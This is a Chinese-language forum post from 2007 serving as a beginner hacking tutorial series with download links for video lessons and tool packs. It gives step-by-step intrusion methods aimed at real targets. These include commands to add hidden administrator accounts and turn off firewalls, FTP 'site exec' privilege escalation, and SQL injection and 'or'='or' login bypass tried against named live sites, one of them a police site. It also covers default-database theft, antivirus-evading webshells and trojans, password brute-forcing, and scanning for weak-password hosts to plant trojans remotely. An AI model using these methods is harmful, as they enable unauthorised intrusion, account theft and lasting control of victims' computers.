[教程]新人晋级黑客动画教程[更新到2/16!]
上一篇 / 下一篇 2007-08-31 12:41:00 / 个人分类：爱好
[关注]关于新手的第一课
http://bbs.hackbase.com/viewthread.php?tid=3042034&highlight=
[关注]菜鸟学习之新手第二课
http://bbs.hackbase.com/viewthread.php?tid=3056328&highlight=
针对上段时间我在新手学堂发表了两篇贴子.<菜鸟学习之新手第一课 ><菜鸟学习之新手第二课 >纯文字教程相比.此合集教程全新改编.录制了动画.重新用写字板程序排版了文字与说明,条理更清晰.建议大家下载
一/二合集下载地址:http://www.110cn.net/admin/skin/1/pxphack/pxp_1_2.rar
三/四合集下载地址:http://www.110cn.net/admin/skin/1/pxphack/pxp_3_4.rar
三/四合集2下载地址:http://www.110cn.net/admin/skin/1/pxphack/pxp_3_4_2.rar
第五集下载地址:http://www.kk808.net/admin_manager/comm/pxp/pxp_5.rar
第六集下载地址:http://www.kk808.net/admin_manager/comm/pxp/pxp_6.rar
第七集下载地址:http://www.kk808.net/admin_manager/comm/pxp/pxp_7.rar
第一集的阻止端口文件下载地址:http://www.kk808.net/admin_manager/comm/pxp/p.rar
本系列教程第三四合集补充 第五集 第六集文字教程已整理发布在第15页!第七集文字教程整理发布在第21页
解压密码: 123456...789aa
本教程接近180M,请尽量用下载软件下载.
敬告
本文件绝不带毒及捆绑数据 请放心下载!
文字说明是按照:写字板程序进行排版的,所以为了达到最好的观看效果,请使用系统自带的"写字板"程序打开观看.
动画教程安排目录[可能不定时更新及变动]:
0.系统安全及黑客常用命令及命令行工具使用演示
1.网页整站系统分析[包括默认数据库 版本号 IIS环境架设与ASP基本知识 ]
2.网页所采用的语言[在这步将要检测注入漏洞,尝试默认管理员帐号密码及有无上传漏洞]
3.电脑端口及所开放的服务端口包括木马端口及针对性的入侵手法与技巧.
4.扫描工具的使用-重点讲解 [明小子 啊D注入 流光 NTscan S扫描器 网站猎手 挖掘鸡 X-Scan
QQ特工之密码破解秀 黑雨-pop3密码破解 超级解密之王Brutus 4899空口令探测器]
5.配置网马到免杀到挂站及各种网马/ASP木马的免杀制作及webshell隐藏与技巧
6.服务器提权常用方法及思路
7.破解网吧
8.综合工具包[包括各种木马 盗号软件 远程控制软件 网吧破解工具包 扫描软件 解密与加密软件,入侵网站ASP木马等及"市面"上难道一见的软件]
9.动网专集
菜鸟黑客教程1-2合集
第二节 系统安全及黑客基本命令
1.系统安全分析及设置
你要想入侵人家,难免人家不入侵你,说不定自己也神不知道鬼不觉的种了人家的木马,一般来说我们的系统都是很安全的的,
不过还是有许多地方需要注意,比如说该打的补丁都把它打上.该设置的地方也都详细设置一下.
另外还需要时不时看下系统的网络连接情况.关于打补丁,每个杀毒软件基本上来说都提供系统漏洞修复功能,
利用它修复就行了,比如说我用的瑞星,它提示我我的系统很安全了.因为该打的补丁都打上了.
2.系统安全设置
到"计算机管理"这里来查看一下,你电脑有没有多出个用户 如果不是你所创建的,八成是黑客创建的,删!
记得把Guest这个用户一定要禁用.然后再到"服务"里面来看看.把TCP/IP NetBIOS Helper禁用 把Telnet禁用
把Terminal Services禁用 到"网上邻居"这里把我刚才演示的地方把它禁用,这样一来139端口就关掉了.
Telnet是23端口,电脑大漏洞,刚才也禁用了.Terminal Services是3389端口刚才也禁用了.还有一个把445端口也禁用,
这个需要到注册表里改,看清楚:打开注册表:运行-regedit-HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters
鼠标点到右边窗口,新建DWORD值 把名字改为:SMBDeviceEnabled 双击,把值改为0 这样一来重点漏洞端口就给关掉了.
3.IP限制策略的导入
我这里已经有了一个IP策略文件,所谓IP策略文件的意思其实可以理解为把本机所有对外常用的端口也封上,
不许任何人通过端口的方式来连接本机[在这里补充一点,"端口"是指计算机连向外面的窗户或大门,你没守好它们,
小偷[黑客或病毒]就很容易趁虚而入]在这一步找到你事先做好的IP策略文件,文件已被打包在此教程里面.
文件名为:Firewall.ipsec 就行了.
4.n网络连接查看与分析命令 netstat -an
为什么要学习这条命令?因为这条命令功能强大,可以利用它详细的查看本机与外界连连的途径与方法,及与哪些程序或IP联系
运行 cmd netstat-an
Proto[连接方式] Local Address[本机连接地址] Foreign Address[远程主机地址] State[连接状态]
其中连接状态[State]共有三种 LISTENING[监听] ESTABLISHED[成立/连接] CLOSE_WAIT[正在关闭]
所以通过它们可以很明了的查看电脑正在与哪些程序或网络/IP连接
当然以上查看方式也可通过windows优化大师查看 如果没有安装,个人建议安装一个.通过这里很容易就得知机子有没中木马.
5.黑客常用cmd命令
为什么要学命令?因为很多黑客工具包括入侵手法都需要在命令行下[cmd]完成.所以必需要掌握一些命令
1.新建用户: net user pxp 123456 /add [其中,pxp是我们新建的用户名,123465是我们设定的密码]
2.提升用户权限 为什么要提升?因为只有提升了,你才能更好的利用或掌控此台电脑.
命令如下: net localgroup administrators /add [其中administrators是指所要提升的用户组,当然一般我们选择管理员组了]
3.删除用户: net use pxp /del [其中pxp是要删除的用户名]
4.net user guest /active:yes [激活guest用户]用此命令可激活被禁止的用户
5.net user guest 792085 [改变guest密码] 为什么要学这条命令? 因为这个guest是系统自带的用户,管理员也无法删除的.
没有新建用户那么容易被发觉
6.net stop sharedaccess [关防火墙] net start sharedaccess [开防火墙]
6.ftp命令:
当我们通过webshell得到一个特殊ftp用户的时候,我们要入侵服务器提权可以使用以下命令[这个特殊用户我们会在以后的入侵过程中得到]
1. open x.x.x.x 打开FTP站点[x.x.x.x 可以是域名/IP] 接着输入用户名和密码当看到230时就说明登陆成功了. quit是退出.
2. quote site exec net user pxp 123456 /add 加用户
3. quote site exec net localgroup administrators pxp /add 提升管理员
4. get xxx/xx.exe [下载路径为xxx/xx.exe的文件]
5. FTP就这几条对我们提权有用,其余没多大用.其余可以通过FTP软件图形化完成,比如说下载上传删除等.
以上就是第二节课的全部内容.
菜鸟黑客教程三/四合集
经过了昨天的一二合集的学习,想必对电脑基本安全有了一定的概念.
今天我们主要讲解:网站/网页系统分析,识别,iis架设ASP调试以及SQL注入\上传漏洞演示等课程.
1.网页整站系统分析[包括默认数据库 版本号 IIS环境架设与ASP基本知识]
(1)在说这些之前,有必要对网站网页有一定的了解,通常所说的做网站或网页设计,并不是说你会网页三剑客[Fireworks Dreamweaver Flash]就可以完完全全
做成诸如:搜狐 新浪 163等这样子的网站.其实网站核心是代码!也就是利用各种web编程语言写的代码.现在最流行的web语言主要有asp asp.net php jsp等.
(2)http://www.xxxx.com/20061215/new.htm 或者说以.html结尾像这样的文件称之为静态网页,如果整站均是这种文件,可以说,这个
网站跟本无法利用web的方式入侵.如果你一定要入侵,可以,扫描服务器端口,再去针对性的利用入侵吧.
http://www.xxxx.com/aa.asp?id=xxx 像这样以.asp结尾的文件是读取数据库内容而生成的页面,我们称之为动态网页.
当然不止这一种,比如还有.php .aspx .jsp .cgi 不过对于菜鸟们来说,也包括我^_^最好入侵的站点程序还是.asp,因为它有上传漏洞及SQL注入啦
弱口令啦.而且网上比比皆是用asp编写的弱智程序,一扫就是一堆漏洞.所以我们首选的入侵网站就是asp站点!
[题外话,为什么独独ASP有这么多漏洞呢,也许是树大招风吧?总而言之.微软出的东西最好用,最容易上手,当然也最容易被入侵]
转载请注明出处.
BY 极度深寒原创
(3)刚才简单介绍了一下网页的概念,也说了最便于入侵利用的是asp程序写的网站.就中国的网络上来说.比较有名的asp程序有:
论坛类 dvbbs/bbsxp/leadbbs 更多在此就不举例了......Powered By Dvbbs Version 7.1.0 Sp1这就是一个标准的动网论坛程序.有的情况下可能
会被网站管理员去掉版权标识,这个万变不离其宗,你可以从它的页面或整体风格元素来分析是采用的哪一种网站程序.
整站源码类 随便去到哪个源码下载站,整版都是.一般来说下载前几名的是比较多人使用的.
新闻发布系统类 同上.
上传下载类 新云啦,等......
各种商城留言本本等 同上.
以及各种asp程序,有兴趣的话可以下载一些受欢迎几个下来,然后通过我们马上要学习的IIS环境搭建来测试,做网站也好,练手也好.呵呵.
==================================================
源码下载站点
华军软件园:http://gz.onlinedown.net/sort/173_1.htm
代码爱好者:http://www.codefans.com/
中国源码中心:http://www.cncode.com/
中国站长站:http://www.chinaz.com/
===================================================
(4)iis搭建
iis就是信息服务管理器,是asp运行的必需环境.
首先点击开始-控制面板-添加或删除程序-添加/删除windows组件-Internet信息服务(iis)然后放进windows安装光碟或iis安装包一路下一步进行安装.
当然也可以在点到Internet信息服务(iis)上时,选择右下角的详细信息,可按需增/删不必要的iis组件.
iis5.1安装包下载地址: http://www.webjx.net/software/200504091iis51.rar [注意此地址必需通过下载软件才能下载!并且适合系统为XP!]
iis5安装包下载地址: http://www.webjx.net/software/200505161iis5.rar [iis5适合2000系统!]
安装好了之后,会在你的控制面板的管理工具里多出一个Internet 信息服务,我们把它指向桌面去.
iis默认的目录是C:\Inetpub\wwwroot 你的网页ASP调试文件需要放在这里面.当然我们也可以另外指定一个目录.比如:一般的执行权限,我们就选择纯脚本
就行了.下面有个目录浏览,一般不要选择,否则人家可以通过输入目录来查看你目录里面的所有文件[当然也会包括数据库,这是很危险滴~~~]文档里面新建
几个首页文件吧.比如说index.asp index.html
调成一下我们刚才在源码网站下载的程序[当然这个我事先早以下载好了.]在IE地址栏输入:http://localhtos/ 如果看到这样子说明调试成功了!
(5) hello,asp!
编写一个基本的asp页面[靠,怎么你扯上做网页啦?呵呵,做网页其实是门很大的学问,了解一些asp知识,或者说精通asp对你入侵大型asp站点是莫大的帮助.]
所有asp代码都是嵌入在<% %>里面的.通过5个内置对象加一系列的内置函数构成了强大的asp技术.有兴趣可以扎实学习一下asp,网上许多教程.
(6)第一个webshell,第一次"黑掉"网站主页
在这一步我们又听说了一个名词:webshell webshell是指一个网页文件,能够利用它修改编辑整站点里的全站文件,能够利用它上传各种类型的文件与程序.
能够利用它直观的浏览站点所有文件,更甚者可以利用它浏览主机所有目录所有盘符.执行各种黑客命令.
比如说上节课所说的: net user pxp 123456 /add [注,这个命令一般来说是不能直接起到作用的,需要配合其它的提权程序]
那些能够瞧黑掉人家主页的,一般都是利用webshell来编辑的.并且我们所谓的注入漏洞,默认数据库,弱口令最终的目的也就是它.webshell.
演示webshell: 呵呵,我用这个webshell称之为浅蓝ASP木马.不过功能不太强大,但是加密后免杀效果良好!
呵呵,做了一回黑客,黑了人家的主页. 好了,这就是第三节课的内容.关于各种程序的版本或所采用的网站系统,这需要长期的积累,我也一下子不好总结
通常来说,可以在网页的下方可以看到.
====================================================================================================================================
2.SQL注入漏洞与上传及默认数据库[在这步将要检测注入漏洞,尝试默认管理员帐号密码及有无上传漏洞]
经过了第三节课的学习,相信我们对网页或整站系统有了初步的了解了.这节课我们开始尝试asp站点的漏洞.利用这些漏洞希望最终能成功得到我们的webshell^_^
(1)SQL注入漏洞
关于SQL注入枯燥无味的原理我就不讲了.总而之言,SQL注入需要的地址一定是:http://www.xxx.com/xxx.asp?id=123 这样子的,当然不仅仅局限此种单一形式
例如:http://www.xxx.com/xxx.asp?uid=145&id=365也可.总之需要一个页面是读取数据库内容生成的就行.
手工注入一般是很烦琐的,当今市面上几乎没人愿意用费时费力的手工注入了.如果你一定要看这方面的文章,去百度一下吧.
不过我在这里倒是强调一下手工测试的经典 and 1=1 and=1=2 通常来说,如果前者返回正确页,后者返回错误页面,八成八是个注入点.
例如:http://www.investruhu.com/news/list.asp?id=1013 and 1=1 是正常页面
http://www.investruhu.com/news/list.asp?id=1013 and 1=2 显示无该记录.由此可简单断定此页面就是所谓的SQL注入点.
我们通过工具测试一下.看是吧.寻找到注入点后余下的工作就交给各种扫描工具了.比如啊D注入工具,明小子旁注等.
当等待片刻之后,会返回管理员表,管理员字段[pwd user],管理员用户[ruhu]/密码[2796778],接着就是找后台登录了.
具体的各种扫描工具的运用,我会在以后的课程详细讲解.
[补充:SQL注入也分为access mssql两种,如果是后者,入侵方法更多,通常的有SA空口令利用.或者说列目录出来getwebshell等,建议看下相关动画]
(2)上传漏洞
上传漏洞是指某个上传页面,如:upfile.asp upload.asp对于上传文件的扩展名过滤不严或根本无过滤所致.
我们上过论坛或网站应该知道.大部份网站在上传图片的地方都显示为:只允许上传.bmp .jpg .gif等类型的.如果你上传.exe .asp可以吗?答案是否定的.
这也就是说做了文件过滤处理.虽然说是这样子,但是,是不是我们就完全没办法了呢?不是的.
我们还可以借助各种工具的欺骗性来达到上传目的,比如说明明是一个.asp文件,当我们借助工具上传的时候,asp程序可能会误认为是图片文件.
所以我们一个webshell就这样到手了.当然现在的这种好事越来越少了.
另外我们还可借助明小子旁注来做一个较详细的上传页面大检测 比如刚才演示的这个网站就没有上传漏洞,再找一个看看. [@动画演示]
还可以借助nc上传. 这里我就不做演示了,我在百度搜了一下.找到一个动画:http://www.hack58.com/Soft/html/9/20/2006/200611178808.htm 下下来参考吧.
我们第五六节课会详细介绍扫描工具的时候会找好几个站点测试的.
(3)弱口令
所谓弱口令就是程序本身设定好的用户与密码,某个网站管理员下下来根本没有更改.像这样子的口令有许多.
比如经典的 admin admin888 admin 123456 或者说ASP后台注入密码: 'or'='or' 当然这种情况也不多见了.不过有时候未尝不可一试.
例如:http://www.cisafm.com/login.asp 便是一个 'or'='or'的好范例.^_^ [在用户名和密码框中均需填入: 'or'='or']
http://www.china-amw.com/webmaster/ 这也是一个. [@动画演示]
当然后台地址也是通过扫描工具扫的.
(4)默认数据库漏洞
现在源码站点这么多,于就是产生了各种弱智管理员随便down一下个源码,默认的数据库路径不改,于是就有了默认数据库漏洞(严格地说,这根本不算漏洞,只能说明管理员
白痴而已)
例如上面所说的 dvbbs动网的默认数据库路径为 data/dvbbs7.mdb databackup/dvbbs7_backup.mdb 这是相对于版本是7.1的.更低的版本凤毛麟角了,所以就没必要
讲述.
用法: http://www.xxx.com/bbs/index.asp 你所要做的就是在把地址换成 http://www.xxx.com/bbs/data/dvbbs7.mdb
或者说: http://www.xxx.com/bbs/databackup/dvbbs7_backup.mdb
关于查找动网论坛,可用上面所说的版权号
owered By Dvbbs Version 7.1.0 Sp1来通过网站猎手或挖掘鸡来查询.也可自定义更加限定的关键字.比如动网独有的关
键字:"欢迎访问 您还没有［注册］或［登录" 等更多靠自己去体会去发现了.
这里有几个站点的地址:
http://bbs.315w.cn/bbs/一个标准的动网,无法找到,再试说明存在. http://www.espace.net.cn/bbs/ 它们都有我所说的默认数据库漏洞,试试看吧.^_^
至于下下来之后怎么办?如何动手,你可自己查阅相关的文章,也可等待我的教程.我会做个动网专题(不过由于时间关系,暂且不会这么快做它)
以下是我收集的搜索到的一些动网入侵动画,可下载学习:
http://www.hack58.com/Soft/html/9/19/
http://hackbase.com/Search/Search.aspx 选择关键字:动网 搜索类型为:软件
当然还有更多程序有默认数据库,比如:bbsxp的 /database/bbsxp.mdb 更多程序的默认数据库我就不在这里一一举例了.这要靠你以后去发现
(5)跨站漏洞
所谓跨站漏洞,意思是说,比如这个网站无懈可击,根本没漏洞,难道我们就这样放手吗?显然不甘心.于是我们还可通过称之为跨站的方式入侵.跨站入侵是指通过
入侵另外一个站点之后有可能的控制网站服务器来达到入侵原本要入侵站点的目的.形象的说.一个小偷要偷盗某户人家,经踩点发现你家保安措施做得很好,无法入侵
但是另一方面经过踩点发现这户人家隔壁的住户破破烂烂,而且最重要的是可以通过这个住户的窗户到达你家.所以肯定偷盗线路必定是先搞定破烂的住户,然后再攀过去.
为何会有跨站一说?因为在网上的网站一般都是买的虚拟空间.通常一个物理性的真实服务器有几十上百个甚至几百个站点.在这些站点当中,不乏优秀或安全做得很好的站
点,但是不可否认也有一些垃圾之作或缺乏安全意识的网站.而正是因为有了这些网站才有了我们的跨站之说.
[@动画演示]之明小子跨站.
靠,说明这个站点是真实服务器,没有挂靠虚拟主机.再找一个.怎么这么慢呢?以前很快的.可能是我的机子有问题吧.呵呵.一般来说能查询到许多的网站的.查询到之后
选择网站批量检测,......,由于没有网站就上演示了.可百度搜索相关动画.也可等我第五节课详细讲解.
(6)当然还有更多入侵方法,比如说暴库,Cookies欺骗等,由于本身我对这两种方式没怎么成功过,所以不好演示,有兴趣可以百度一下,自己收集一下这方面的文章
经过了这两节课的学习,相信对入侵网站有了一定的了解了.当然以上我们是针对的asp程序编写的网站.网络上还有各种语言编写的网站.我们还没涉及到.
比如php注入.我也在这里推荐一篇文章吧:http://hi.baidu.com/109353911/blog/item/d7a93cddd69ffcd98d10293e.html
有时间我也会做个PHP的专题.包括远程包含,PHP木马.PHP注入等.另外建议先认真把ASP多了解了解再去理会诸如PHP站点为妙.
呵呵.我自己好久没上过灰鸽子,看看.^_^
===================================================================================================================================
菜鸟黑客教程第五集
相信看过我教程的菜鸟们对入侵知识有了基本或者说一定的领会或掌握了.今天我们再来学习本系列教程的五六合集.
网络端口 端口扫描 针对性入侵以及扫描工具大集合演示教程.
网络端口,形象的说就向一栋房子对外开放的诸如窗户,大门等.你要通向外面必定要经过大门,空气要流通,要进入房间也必定要通过窗户.
端口也一样,一台电脑[不论能不能上网,哪怕只是局域网]都必定要有某些程序通过某种途径与外部取得联系.比如说你在家上QQ,你就会发现你的电脑上开放了
UDP4000,比如你照我们上节课所说的搭建了一个IIS服务器,你就会发现你电脑开了个80 又比你会FTP上传,你会发现FTP工具软件上方端口一栏标示的是21等.
在说到端口入侵之前,我有必要帮你消除一些疑惑.诸如不是说可以通过网站入侵吗?啥叫端口入侵啊.端口入侵有什么用啊?
好!现在就来答:即便是你通过网站入侵人家的电脑仰或是挂马,这其实也是端口入侵,知道是什么端口吗?80,对了就是80端口,此端口主要是提供网站服务的.
那碰到大家许多私人电脑没80端口呀,对了,所以说嘛还是靠端口去找出他/她电脑的缺陷,然后趁机进入.熟话常说,苍蝇不叮无缝的蛋,你安全措施做得好.当然
没办法入侵.
一般来说电脑入侵的端口,或者说我们不必要开放的端口便是:
21端口 FTP 这个你不装IIS是不会有的.
23端口 Telnet 显示服务名:tlntsvr
25端口 SMTP 传送邮件的.我的建议是关也行,不关也行.不太影响.
139端口 前几年闹得很狂的IPC$共享的始作祟者.
445端口 局域网里用来共享的,没什么东西共享,关掉吧.当然也是个入侵的好端口.当然针对扫描而言.
3389端口 终端连接.Terminal Services 黑客们的最终目的.
4899端口 radmin.exe[常用的影子木马]端口. 不论是你的机子或人家的机子,试试影子连连看.
4778端口 一个名气不大不小的木马[远程控制任我行]端口
至于灰鸽子嘛,不固定了,不过远程连接的端口一般常用8000 你可以用命令 netstat -an 看看Foreign Address这一栏是不是有个xxx.xxx.xxx.xxx:8000 如果有,
很不幸你种了人家的灰鸽子,而且人家现在正在连接你.[当然,QQ上线后服务器也是用这个端口通信的.]
43958端口 serv-u服务器端口,通常这个端口是我们入侵提权的好帮手.当然是针对服务器而言.
5632端口 Symantec pcAnywhere 一般此软件主要是装在服务器上面.也是我们提权需要的.
以上是我列举的一些端口知识.还有更详尽的我以打包在本目录下,请查阅!
=====================================================================================1.各种端口入侵利用方法
(1) 21端口[FTP] 入侵
此端口通常来说是开放在服务器上面的.个人电脑很少有开放此端口的.因为这个端口就是用来FTP上传下载的嘛.你难道整天开着电脑让人家下载东西?
从21端口又可演变成43958端口 Serv-U入侵 或5632端口 Symantec pcAnywhere入侵.
[21端口的开放很简单,你搭建了一个完整的IIS之后就自动打开了.如何搭建IIS我们上节课以学过了,这里就不在重提了]
通常我如果用扫描器或webshell查看得到了某主机开放了21端口.我所采取的方式包括
1.穷举法[用扫描软件暴力破解用户密码] 在这里我选择流光暴力破解演示 这就是所谓暴力破解,选择好用户文件,选择好密码文件,扫描软件就会拿用户名去对应
密码进行测试.能否成功取决于你的密码是否够大.我就不演示下去了.
2.提权法[演变成serv-u的入侵] 注:这里所指的serv-u是一个用于管理许多FTP用户,并给予用户目录配额限制的一种软件,通常一台服务器 [这里的服务器主要指虚拟空间提供商的一台实际物理主机]都会装上它来管理虚拟主机的上传下载.比如它这台机子我们通过分析得知装有serv-u,那么我们便可以通过一个asp提权页面进行提权[增加用户]此用户可以直接连接3389[前提是这个serv-u是默认管理员用户与密码]另外要分析一台主机有无开放serv-u服务
①一般我们通过查看它所开放端口43958;
②也可以通过查看它所开放的服务:serv-u得知
③从本地FTP xxx.xxx.xxx.xxx也有可能得知.
cmd /c net user pxp love /add & net localgroup administrators pxp /add 这句命令的意思不知道大家还理解吗?
上面的43958便是serv-u端口 我怎么知道它有没有装serv-u啊?就是通过以上三种分析得知的.在这里我就不演示了.
PHP版的也是如此.其中LocalAdministrator是serv-u的管理员用户名 #l@$ak#.lk;0@P是管理员密码
3.溢出攻击 这种手法嘛,现在市面上不太流行了.至于它的风光时代是指04/05年.serv-u5X时代.
以上内容请看动画演示:
(2) 23端口[telnet] 入侵
这个端口可是个大漏洞,不建议电脑开放此服务 不过话又说回来,要想成功利用此端口入侵,还得有正确的用户和密码.否则此路不通.
获取用户信息的方法还是蛮多的.比如通过弱口令扫描.扫一个大范围IP段.专门检测23 3389.不过要有点耐心,一般来说,不是一时半刻就会有结果的.
我就喜欢利用流光扫,当然还有许多的扫描软件可以扫,只要你设好23端口就行了.
另外网上也有专门用来打开此服务的工具.如啊D工具包.Recton V2.5等.并且可喜的是网络上至今还有许多白痴级人物不设密码或简单密码的.
当你扫描一段时间出了结果后,进入吧: telnet 127.0.0.1 进入后就像在你自己的电脑玩DOS一样.你可以把23端口理解成远程DOS
实际上它就是远程DOS 进入后能干些什么,取决于你对DOS的
了解.比如说:跳转到你之前存在的一个ftp ftp 127.0.0.1 成功连接后输入用户名密码登陆成功 进入后get xx.exe 把它下载下来到本地.
本地保存的路径一般是用户文档 之后quit退出ftp 然后输入文件的绝对路径执行!这就是我的23端口入侵.
我现在来打开23端口.现在我已成功进入IP为127.0.0.1的电脑了.操作起来就像自己的电脑一样[当然这本身就是我的电脑.呵呵]现在我们来利用FTP从
网上下载一个文件 现在我们已成功从网上下载了一个ps.htm的文件.我们来看看.然后输入绝对路径执行.呵呵,整个过程便是23端口入侵
以上内容请看动画演示:[补充要点:在FTP或Telnet下面输入密码是不显示的.所以不要输错.如果登陆不了,请查看是否输入出错]
(3) 139端口[IPC$] 入侵
此漏洞不常见了.它一般存在于局域网共享的电脑里.不过如果入侵到一个,收获肯定不会小的.
关于此漏洞的教程.我找了几篇:http://www.hack58.com/soft/search.asp?act=topic&keyword=IPC$都下下来看看吧.
关于入侵工具:首选流光5 还记得03 04年此漏洞最猖狂的时代.大小黑客,几乎人手一个流光,扫呀扫什么的.呵呵^_^
详尽的IPC$入侵资料在同目录下.请查阅.
利用流光扫描IPC$ 选择NT/98类型 等一会儿就会出现在IPC$主机那里.我就不扫了.列出了主机后,可以通过简单模式探测来猜出空口令和弱口令的机子.
以上内容请看动画演示:
(4) 445端口 入侵
入侵此端口一般须要空口令或弱口令.否则没多大用处.不过这个漏洞可以神不知鬼不觉的入侵电脑主机.
入侵配合工具: S扫描器 NTscan 首先用S扫描.S扫描器是一个速度超快的DOS下的扫描器,用它先来扫出开放了445端口的肉鸡.
然后把扫出的地址保存,之后打开NTscan过滤空口令/弱口令.当然也可直接用NTscan扫描445主机,不过这样效率不是很高.现在不是各行各业都提倡效率嘛,
我也提倡这这样.呵呵.
关于S扫描器的用法有几点需要注意: 一般来说XPSP2由于受线程影响,是不能用的.也不是说一定不能用.只是不能用syn方式扫描.推荐在2K下扫描.
S扫描命令示例: s.exe syn 192.168.0.1 192.168.0.254 445,3389 /save 扫描整个局域网,端口为445和3389 把结果保存起来.
S扫描命令示例2: s.exe tcp 192.168.0.1 192.168.0.254 445 700 /save 采用tcp方式扫描.把结果存起来[这种方式可以用于XPSP2系统]
首先我们直接用一个工具来扫445端口吧.扫描的时候范围可以选择大一点.它会自动的把弱口令和空口令主机列出来的.
如果列出来后可以配合另外的工具来入侵 利用Eecton v 2.5 来种植木马程序,IP填你扫到的,用户密码都填你扫到的.右边选择http下载.下载什么呢?
当然是你填你事先已上传到网上的木马程序地址.执行参数选择木马名字.如pxp.exe 这样就神不知鬼觉的执行了一个木马.当然要你的木要马是免杀的才行.
以上内容请看动画演示:
由于录制时间太长.先停停.
(5)3389端口[终端连接] 入侵
这个端口是所有黑客的入侵电脑最终目的.因为成功利用了它.就等同完全掌握了一台电脑,就好比操作自己的电脑一模一样.
关于此端口的详细介绍我们在第二节课里以说过了,这里不再叙述.
关于入侵的途径,无外乎也是先扫描.后登陆.也是推荐用s扫描器扫描开放了3389端口的机子.然后开始菜单-运行-mstsc 输入所扫描开了放3389的IP
在登陆用户名和密码框中尝试输入:administrator 密码为空 或输入:new 密码为空 如果成功进入,恭喜你!成功拿下一台3389肉鸡.然后再装个远程控制软件
哈哈.长久的控制了你的第一台电脑.所有这台电脑的一举一动,QQ/mail密码什么的.就随便你玩了.
当然这种空口令的情况毕竟不多见.找着了是你的运气好.那要不找不着呢?那岂不是3389对我们没用?不会的!网络上开放3389的机子一般以服务器居多.
当我得到一个webshell之后,我首先就是查看一下这台服务器有没有开放3389端口 一般来说是开放的.因为大多数服务器都是托管的机子.需要远程管理.
这种机子你是别指望有空口令的.那我们的入侵方法又得演变成serv-u提权添加帐号.或下载pcAnywhere的CIF密码文件.然后登陆进入.
又或者说利用相关工具暴力本地破解3389密码.不过不提倡.暴力的事情通常是件费力不讨好的事情.网上有一款工具叫做:3389终端密码破解工具
建议百度一下相关工具及教程看看.我这里就是再讲述.
我这里用s扫描器来扫扫3389端口,进行一下菜鸟化的入侵演示.扫到了一台121.11.183.2 我们来连接试试看,呵呵,成功进入了.这么快一台电脑就搞定了.
当然这是专业版的XP,有登陆限制的.如果是服务器版的呢?当然没限制了.我这里就搞这台菜鸟电脑了.呵呵.
这里的服务器一般是没有空口令的.我们需要开始演示的用asp提权页面进行serv-u提权.如果成功了.就会像我这样:呵呵,看样子这台服务器重装过系统.
连我的隐藏帐号都没了.呵呵,我就不演示其它的了.要不然我的秘密都暴光了.哈哈哈.
以上内容请看动画演示:
(6) 4899影子端口 4778远程控制任我行端口 5632pcAnywhere端口 43958serv-u端口 这些端口利用起来还是蛮方便的.因为这些端口本身不是系统的相关端口
而是装了某种软件之后才开放的服务端口.所以利用起来只需要找到相应的软件客户端并且有相关的帐号就行了.
当然相关的帐号又得我们去获取了......比如4899可以用一款4899空口令扫描器来扫,一天据说也可扫上几十上百个.4778更是很少有人设密码的.也可以通过相
关扫描软件来扫,扫到后直接用远程控制任我行连接. 至于后两者就得具备相关帐号才能登陆.至于帐号的获取方法一般是拿了个webshell后再各施各法了.
通过扫描软件扫到4778后,下载一个输入IP连接吧.
4899也是如此.也需要一个客户端软件来连接,下载一个试试吧.
尽管教程已相当详细了,可能还是有些朋友不太明白,没关系.多学多动手就行了.
我每次的教程都是几十上百M,希望朋友们看后顶一下.不然太说不过去了.毕竟这是我的原创........不然你来试试做教程.我得到了什么?
=====================================================================================
菜鸟黑客教程第六集
扫描工具实例演示:
本节课为菜鸟黑客系列教程的第六节课,通过这节课的学习我们将系统的步入初级黑客行列.通过对前几节课的学习,
相信大家理解了一般的入侵手法及入侵对策.熟话说磨刀不误砍柴工,有好的利器当然方便我们入侵的"伟大事业"
本节课主要讲工具使用.介绍一些常用及不常用的工具的设置,调整等.如果有以上经验的朋友可以略过此节课.
这节课主要介绍: 啊D注入扫描 明小子3.5旁注 流光 NTscan S扫描器 网站猎手 挖掘鸡 X-Scan QQ特工之密码破解秀
黑雨-pop3密码破解 超级解密之王Brutus 4899空口令探测工具 Web Cracker v4.0 superscan 以及第五节课讲的s扫描器,
通过对这些扫描工具的实例演示.相信大家掌握了常用扫描器的使用.
针对上面列出的工具我们来进行下归类:
(1) 网站注入类: 啊D注入 明小子旁注 Web Cracker v4.0
我们在这里只提取这两种常用工具演示.当然还有更多的工具,其中也不乏优秀的工具:如HDSI NBSI都是其中的代表.
可能某些方面这两款软件工具更强悍.
关于啊D注入工具网上也有许多修改过的破解版本 对于此工具,我个人认为在列目录方面比较强.往往一个MSSQL注入点,
用明小子列不出目录,换成啊D就行.
明小子广为流传的原因是有集成了两个很不错的功能.一个是域名查询,可用来旁注.另外一个是上传功能,
明小子数据库存储了许多后台及上传地址,通过扫功得到了一个上传地址之后,如果有上传漏洞,可直接利用它上传提交.
除此之外功能乃平平.
啊D注入 为什么要用珠海市公安局呢.因为是我上次无意中发现了一个注入点,所以就用它来演示了.希望大家可不要乱试啊.
不然这可是犯法的啊.
在啊D下面红色显示的为注入点,我这是里是:http://www.zhga.gov.cn/zhga/show.asp?id=349然后右击注入检测
可以从下面的几个框框里得到数据库类型及权限.然后再采取相应入侵策略.这个注入点是MSSQL型的.
并且权限为DB_OWNER 如果碰到这种情况,就表示可以对此地址进行列目录[也就是把它主机上的所有目录及文件显示出来]
等一下就会列出目录,利用这种方法可以找出网站的绝对路径.然后再利用一个getwebshell进行备份.一个webshell就到手了.
随便找个getwebshell工具,网上有许多.在地址栏填写注入地址.远程木马位置填写网站绝对目录及以下目录路径.然后选择备份.
刚才利用啊D扫到一个SQL注入点并且权限为DB_OWNER 一个一个盘的检测下去吧.以及一些管理入口扫描,相对于access而言.
[注:如果要列目录,一定要是SQL数据库,权限至少为DB_OWNER 并且啊D版本要为破解版本.因为原版限次列目录的次数,
如果权限 为SA的话.可以直接到"CMD/上传里执行命令]
明小子: 从网上随便找个网址.先试试上传页面;如果有直接右键选择上传.如果没有.可以试试上面的旁注.
旁注的意思我前几节课 讲过了.这里就不在讲了.
好了,结果出来了.看看左边这么多网站.然后选择"网站批量检测,选择好上传页面之后,开始.这个操作的意思是说:
把这所有的网站通通进行扫描上传页面.因为刚才那个没有上传页面嘛,它没有,并不代表人家没有啊.来到上传类型后.
看清楚你的上传地址是属于哪种类型的.其实这个不太要紧,一个类型不行.你可以试试其它的.反正有这么多地址,多试几个,
多试几种类型.并不是说所有的上传地址都有漏洞的.好了.我就不演示了.基上上明小子就这么个用法.其它的功能嘛,嘿嘿
